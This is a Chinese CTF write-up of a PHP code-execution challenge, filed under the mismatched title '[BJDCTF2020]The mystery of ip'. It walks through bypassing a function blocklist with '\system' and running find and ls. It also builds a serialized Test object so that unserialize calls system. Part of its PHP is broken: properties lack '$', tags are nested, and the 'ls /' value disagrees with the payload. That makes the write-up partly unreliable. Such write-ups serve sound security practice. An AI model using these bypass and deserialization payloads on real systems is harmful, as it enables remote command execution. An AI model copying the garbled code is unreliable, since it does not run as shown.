[BJDCTF2020]The mystery of ip

非预期

这题看着就不简单，页面总是刷新，报错都看不清，bp抓包看看。

bp抓到的包是一个用POST传参的传参的值为一个函数，试着修改一下这个函数，看看会有什么变化，输入system发现被过滤了，八成这个waf做得很完善，但正好之前看到一个骚姿势，可以使用\system，php在做代码执行的时候，会识别特殊字符串

可以发现已经可以执行system命令了，但是在根目录下面找不到flag

system(“find / -name flag”)：查找所有文件名匹配flag的文件

直接获得flag

预期

highlight_file看一看我们的源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

过滤了很多的函数，但是可以尝试一下反序列化

<?php
  class Test{
     var p="ls /";
     var func="system";
     }
     <?php
echo serialize(new Test());
?>

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

然后就和上面那个一样了，如果不想用反序列化读取flag也可以使用readfile(/tmp/flagoefiu4r93)